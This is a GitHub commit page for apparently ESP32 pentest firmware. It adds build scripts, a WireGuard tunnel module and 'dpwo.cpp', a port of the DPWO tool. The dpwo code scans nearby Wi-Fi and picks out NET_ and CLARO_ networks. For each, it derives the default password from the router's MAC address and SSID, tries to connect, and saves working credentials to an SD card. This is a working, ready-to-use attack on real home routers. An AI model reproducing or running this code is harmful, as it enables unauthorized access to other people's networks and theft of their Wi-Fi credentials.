Skip to content

Commit

Permalink
added wg and and dpwo
Browse files Browse the repository at this point in the history
  • Loading branch information
pr3y committed May 5, 2024
1 parent 13b4ce9 commit 16a122f
Show file tree
Hide file tree
Showing 14 changed files with 325 additions and 3 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
.pio
.vscode/.browse.c_cpp.db*
.vscode/c_cpp_properties.json
.vscode/launch.json
.vscode/ipch
10 changes: 10 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
{
// See http://go.microsoft.com/fwlink/?LinkId=827846
// for the documentation about the extensions.json format
"recommendations": [
"platformio.platformio-ide"
],
"unwantedRecommendations": [
"ms-vscode.cpptools-extension-pack"
]
}
Binary file added Bruce3_Cardputer.bin
Binary file not shown.
Binary file added Bruce3_cplus1_1.bin
Binary file not shown.
Binary file added Bruce3_cplus2.bin
Binary file not shown.
3 changes: 3 additions & 0 deletions build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
~/.local/bin/esptool.py --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio/build/m5stack-cardputer/bootloader.bin 0x8000 .pio/build/m5stack-cardputer/partitions.bin 0x10000 .pio/build/m5stack-cardputer/firmware.bin
~/.local/bin/esptool.py --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio/build/m5stack-cplus2/bootloader.bin 0x8000 .pio/build/m5stack-cplus2/partitions.bin 0x10000 .pio/build/m5stack-cplus2/firmware.bin
~/.local/bin/esptool.py --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio/build/m5stack-cplus1_1/bootloader.bin 0x8000 .pio/build/m5stack-cplus1_1/partitions.bin 0x10000 .pio/build/m5stack-cplus1_1/firmware.bin
1 change: 1 addition & 0 deletions clean.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rm -f Bruce3_*
1 change: 1 addition & 0 deletions platformio.ini
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ build_flags =
lib_deps =
AsyncTCP
esphome/ESPAsyncWebServer-esphome
WireGuard-ESP32
; bodmer/TFT_eSPI@^2.5.43 ; Esta biblioteca deve estar na pasta lib, devido as alterações no drive do StickC


Expand Down
139 changes: 139 additions & 0 deletions src/dpwo.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
/*
Port of DPWO for ESP32 by pr3y
Originally from https://github.com/caioluders/DPWO
saves login creds on SD mounted card
*/
#include <WiFi.h>
#include <regex>

#define SD_CREDS_PATH "/dpwo_creds.txt"

#include "globals.h"
#include "dpwo.h"

int ap_scanned = 0;

void parse_BSSID(char* bssid_without_colon, const char* bssid) {
int j = 0;
for (int i = 0; i < strlen(bssid); ++i) {
if (bssid[i] != ':') {
bssid_without_colon[j++] = bssid[i];
}
}
bssid_without_colon[j] = '\0';
}

void net_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
if (ssid_length >= 2) {
String last_two = WiFi.SSID(i).substring(ssid_length - 2);
strcat(bssid_ready, last_two.c_str());
} else {
Serial.println("ERROR");
}
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
// TODO: Dont depend on delays and compare the wifi status other way :P
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}

void claro_ap(int i) {
char bssid_without_colon[18];
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str());
Serial.println("MAC addr");
Serial.println(bssid_without_colon);

char *bssid_ready = bssid_without_colon + 4;
bssid_ready[strlen(bssid_ready)-2] = '\0';
int ssid_length = WiFi.SSID(i).length();
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready);
delay(2000);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("\nNOPE");
WiFi.disconnect();
return;
}
Serial.println("\nWiFi Connected");
WiFi.disconnect();
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
Serial.println("\nWrote creds to SD");
#endif
tft.setTextSize(1);
tft.setTextColor(FGCOLOR-0x2000);
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str());
}


void dpwo_setup() {
// tft.clear();
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);
Serial.println("Scanning for DPWO...");
WiFi.mode(WIFI_STA);
ap_scanned = WiFi.scanNetworks();
Serial.println(ap_scanned);

tft.setTextColor(FGCOLOR-0x2000);
tft.println("Scanning for DPWO...");

if (ap_scanned == 0) {
tft.println("no networks found");
} else {

//TODO: add different functions to match Copel and Vivo regex on SSID also
std::regex net_regex("NET_.*");
std::regex claro_regex("CLARO_.*");


//TODO: dont repeat the wifi connection process inside each function, instead work on this loop

for (int i = 0; i < ap_scanned; ++i) {
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) {
net_ap(i);
Serial.println("NET SSID");
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) {
claro_ap(i);
Serial.println(WiFi.SSID(i));
Serial.println("CLARO SSID");

} else {
Serial.println("not vuln");
Serial.println(WiFi.SSID(i));

}


}


}
Serial.println("scanning again");
ap_scanned = WiFi.scanNetworks();

//TODO: append vulnerable APs and dont repeat the output


}
11 changes: 11 additions & 0 deletions src/dpwo.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#include "display.h"

void parse_BSSID(char* bssid_without_colon, const char* bssid);

void net_ap(int i);

void claro_ap(int i);

void dpwo_setup();

void dpwo_loop();
6 changes: 4 additions & 2 deletions src/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,8 @@ TFT_eSprite draw = TFT_eSprite(&tft);
#include "sd_functions.h"
#include "wifi_common.h"
#include "settings.h"
#include "dpwo.h"
#include "wg.h"


/*********************************************************************
Expand Down Expand Up @@ -151,10 +153,10 @@ void loop() {
options.push_back({"TelNET", [=]() { displayRedStripe("TelNET"); }});
options.push_back({"SSH", [=]() { displayRedStripe("SSH"); }});
options.push_back({"Raw Sniffer", [=]() { displayRedStripe("Raw Sniffer"); }});
options.push_back({"DOWO-ESP32", [=]() { displayRedStripe("DOWO-ESP32"); }});
options.push_back({"DPWO-ESP32", [=]() { dpwo_setup(); }});
options.push_back({"Evil Portal", [=]() { displayRedStripe("Evil Portal"); }});
options.push_back({"ARP Scan", [=]() { displayRedStripe("ARP Scan"); }});
options.push_back({"Wireguard Tun", [=]() { displayRedStripe("Wireguard Tun"); }});
options.push_back({"Wireguard Tun", [=]() { wg_setup(); }});
options.push_back({"Main Menu", [=]() { displayRedStripe("Main Menu"); }});
delay(200);
loopOptions(options,false,true,"WiFi");
Expand Down
2 changes: 1 addition & 1 deletion src/sd_functions.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -342,7 +342,7 @@ void readFs(String folder, String result[][3]) {

/*********************************************************************
** Function: loopSD
** Where you choose what to do wuth your SD Files
** Where you choose what to do with your SD Files
**********************************************************************/
String loopSD(bool filePicker) {
String result = "";
Expand Down
143 changes: 143 additions & 0 deletions src/wg.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
#include <WireGuard-ESP32.h>
#include "wg.h"
#include "globals.h"
#include "display.h"
#include "sd_functions.h"


char private_key[45];
IPAddress local_ip;
char public_key[45];
char endpoint_address[16];
int endpoint_port = 31337;

static constexpr const uint32_t UPDATE_INTERVAL_MS = 5000;

static WireGuard wg;

void parse_config_file(File configFile) {
String line;

while (configFile.available()) {
line = configFile.readStringUntil('\n');
Serial.println("==========PRINTING LINE");
Serial.println(line);
line.trim();

if (line.startsWith("[Interface]") || line.isEmpty()) {
// Skip [Interface] or empty lines
continue;
} else if (line.startsWith("PrivateKey")) {
line.remove(0, line.indexOf('=') + 1);
line.trim();
Serial.println("Private Key: " + line);
strncpy(private_key, line.c_str(), sizeof(private_key) - 1);
private_key[sizeof(private_key) - 1] = '\0'; // Ensure null-terminated
} else if (line.startsWith("Address")) {
line.remove(0, line.indexOf('=') + 1);
line.trim();
Serial.println("Local IP: " + line);
int slashIndex = line.indexOf('/');

if (slashIndex != -1) {
Serial.println("~~~~~~~~~~~~");
Serial.println(line.substring(0, slashIndex));
local_ip.fromString(line.substring(0, slashIndex));
}

} else if (line.startsWith("[Peer]")) {
// Handle [Peer] section
} else if (line.startsWith("PublicKey")) {
line.remove(0, line.indexOf('=') + 1);
line.trim();
Serial.println("Public Key: " + line);
strncpy(public_key, line.c_str(), sizeof(public_key) - 1);
public_key[sizeof(public_key) - 1] = '\0'; // Ensure null-terminated
} else if (line.startsWith("Endpoint")) {
//Serial.println("~~~~~~~~~~~endpoint");
//Serial.println(line);
line.remove(0, line.indexOf('=') + 1);
line.trim();
int colonIndex = line.indexOf(':');

if (colonIndex != -1) {
//Serial.println("Endpoint Line: " + line);
strncpy(endpoint_address, line.substring(0, colonIndex).c_str(), sizeof(endpoint_address) - 1);
endpoint_address[sizeof(endpoint_address) - 1] = '\0'; // Ensure null-terminated
Serial.println("Endpoint Address: " + String(endpoint_address));
endpoint_port = line.substring(colonIndex + 1).toInt();
Serial.println("Endpoint Port: " + String(endpoint_port));
}
}
}

Serial.println("Closing file!");
configFile.close();
}



void read_and_parse_file() {
if (!SD.begin(SS)) {
Serial.println("Failed to initialize SD card");
return;
}

File file = SD.open("/wg.conf");
if (!file) {
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);

tft.setTextColor(TFT_RED, BGCOLOR);
Serial.println("Failed to open file");
tft.println("No wg.conf file\nfound on\nthe SD");
tft.setTextColor(FGCOLOR, BGCOLOR);
delay(60000);
return;
}

Serial.println("Readed config file!");

Serial.println("Found file!");
parse_config_file(file);


}

void wg_setup()
{
read_and_parse_file();

Serial.println("Adjusting system time...");
configTime(9 * 60 * 60, 0, "ntp.jst.mfeed.ad.jp", "ntp.nict.jp");
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);

Serial.println("Connected. Initializing WireGuard...");
tft.println("Connecting to\nwireguard...");
wg.begin(
local_ip,
private_key,
endpoint_address,
public_key,
endpoint_port);
Serial.println(local_ip);
Serial.println(private_key);
Serial.println(endpoint_address);
Serial.println(public_key);
Serial.println(endpoint_port);

//tft.clear();
tft.fillScreen(BGCOLOR);
tft.setCursor(0, 0);

tft.setTextColor(TFT_GREEN, BGCOLOR);
tft.println("Connected!");
tft.setTextColor(FGCOLOR, BGCOLOR);
tft.println("IP on tunnel:");
tft.setTextColor(TFT_WHITE, BGCOLOR);
tft.println(local_ip);
tft.setTextColor(FGCOLOR, BGCOLOR);
Serial.println(local_ip);

}
7 changes: 7 additions & 0 deletions src/wg.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#include <SPIFFS.h>

void parse_config_file(fs::File configFile);

void read_and_parse_file();

void wg_setup();

0 comments on commit 16a122f

Please sign in to comment.